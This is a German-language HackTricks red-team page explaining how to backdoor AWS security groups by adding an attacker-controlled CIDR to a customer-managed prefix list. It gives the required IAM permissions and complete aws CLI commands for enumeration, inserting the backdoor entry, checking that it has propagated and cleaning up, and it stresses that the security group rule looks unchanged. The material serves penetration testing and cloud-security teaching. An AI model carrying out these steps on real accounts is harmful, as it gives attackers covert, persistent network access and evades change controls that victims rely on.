AWS - Security Group Backdoor via Managed Prefix Lists

Reading time: 4 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Zusammenfassung

Missbrauch von customer-managed Prefix Lists, um einen unauffälligen Zugangsweg zu schaffen. Wenn eine Security Group (SG)-Regel auf eine managed Prefix List verweist, kann jede Person mit der Berechtigung, diese Liste zu ändern, stumm vom Angreifer kontrollierte CIDRs hinzufügen. Jede SG (und potenziell Network ACL oder VPC endpoint), die die Liste referenziert, erlaubt die neuen Bereiche sofort, ohne dass an der SG selbst etwas sichtbar geändert wird.

Auswirkungen

  • Sofortige Erweiterung der erlaubten IP-Bereiche für alle SGs, die die Prefix List referenzieren, wodurch Änderungskontrollen umgangen werden, die nur SG-Änderungen überwachen.
  • Ermöglicht persistente ingress/egress Backdoors: das bösartige CIDR in der Prefix List verbergen, während die SG-Regel unverändert erscheint.

Voraussetzungen

  • IAM-Berechtigungen:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (um die angehängten SGs zu identifizieren)
  • Optional: ec2:CreateManagedPrefixList falls zum Testen eine neue Liste erstellt werden soll.
  • Umgebung: Mindestens eine SG-Regel, die auf die Ziel customer-managed Prefix List verweist.

Variablen

bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Angriffsschritte

  1. Enumeriere potenzielle prefix lists und deren Konsumenten
bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Verwende aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID, um zu bestätigen, welche SG-Regeln von der prefix list abhängen.

  1. Füge attacker CIDR zur prefix list hinzu
bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Validierung der Propagierung zu security groups
bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

Der Datenverkehr von $ENTRY_CIDR ist jetzt überall erlaubt, wo die prefix list referenziert wird (häufig in ausgehenden Regeln von Egress-Proxies oder in eingehenden Regeln für gemeinsam genutzte Dienste).

Nachweise

  • get-managed-prefix-list-entries zeigt das Angreifer-CIDR und die Beschreibung an.
  • describe-security-group-rules zeigt weiterhin die ursprüngliche SG-Regel, die auf die prefix list verweist (keine SG-Änderung protokolliert), dennoch gelingt der Datenverkehr vom neuen CIDR.

Bereinigung

bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks